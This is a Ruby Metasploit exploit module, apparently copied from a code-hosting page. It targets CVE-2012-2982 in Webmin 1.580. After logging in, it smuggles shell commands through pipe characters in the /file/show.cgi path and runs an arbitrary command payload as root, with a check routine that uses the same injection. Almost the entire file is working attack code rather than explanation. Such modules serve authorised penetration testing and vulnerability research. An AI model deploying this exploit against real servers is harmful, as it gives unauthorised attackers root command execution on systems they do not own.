156 lines
4.5 KiB
Ruby
156 lines
4.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Webmin /file/show.cgi Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in Webmin
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1.580. The vulnerability exists in the /file/show.cgi component and allows an
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authenticated user, with access to the File Manager Module, to execute arbitrary
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commands with root privileges. The module has been tested successfully with Webim
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1.580 over Ubuntu 10.04.
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},
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'Author' => [
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'Unknown', # From American Information Security Group
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '85248'],
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['BID', '55446'],
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['CVE', '2012-2982'],
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['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
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['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
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],
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python bash telnet',
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Webim 1.580', { }]],
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'DisclosureDate' => 'Sep 06 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(10000),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptString.new('USERNAME', [true, 'Webmin Username']),
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OptString.new('PASSWORD', [true, 'Webmin Password'])
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], self.class)
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end
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def check
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Attempting to login...")
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data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => "/session_login.cgi",
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'cookie' => "testing=1",
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'data' => data
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}, 25)
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if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
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print_good "#{peer} - Authentication successful"
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session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
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else
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print_error "#{peer} - Authentication failed"
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return Exploit::CheckCode::Unknown
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end
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print_status("#{peer} - Attempting to execute...")
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command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
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res = send_request_cgi(
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{
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'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
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'cookie' => "sid=#{session}"
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}, 25)
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if res and res.code == 200 and res.message =~ /Document follows/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Attempting to login...")
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data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
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res = send_request_cgi(
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{
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'method' => 'POST',
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'uri' => "/session_login.cgi",
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'cookie' => "testing=1",
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'data' => data
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}, 25)
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if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
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session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
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if session and not session.empty?
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print_good "#{peer} - Authentication successfully"
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else
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print_error "#{peer} - Authentication failed"
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return
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end
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print_good "#{peer} - Authentication successfully"
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else
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print_error "#{peer} - Authentication failed"
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return
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end
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print_status("#{peer} - Attempting to execute the payload...")
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command = payload.encoded
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res = send_request_cgi(
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{
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'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
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'cookie' => "sid=#{session}"
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}, 25)
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if res and res.code == 200 and res.message =~ /Document follows/
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print_good "#{peer} - Payload executed successfully"
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else
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print_error "#{peer} - Error executing the payload"
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return
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end
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end
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end
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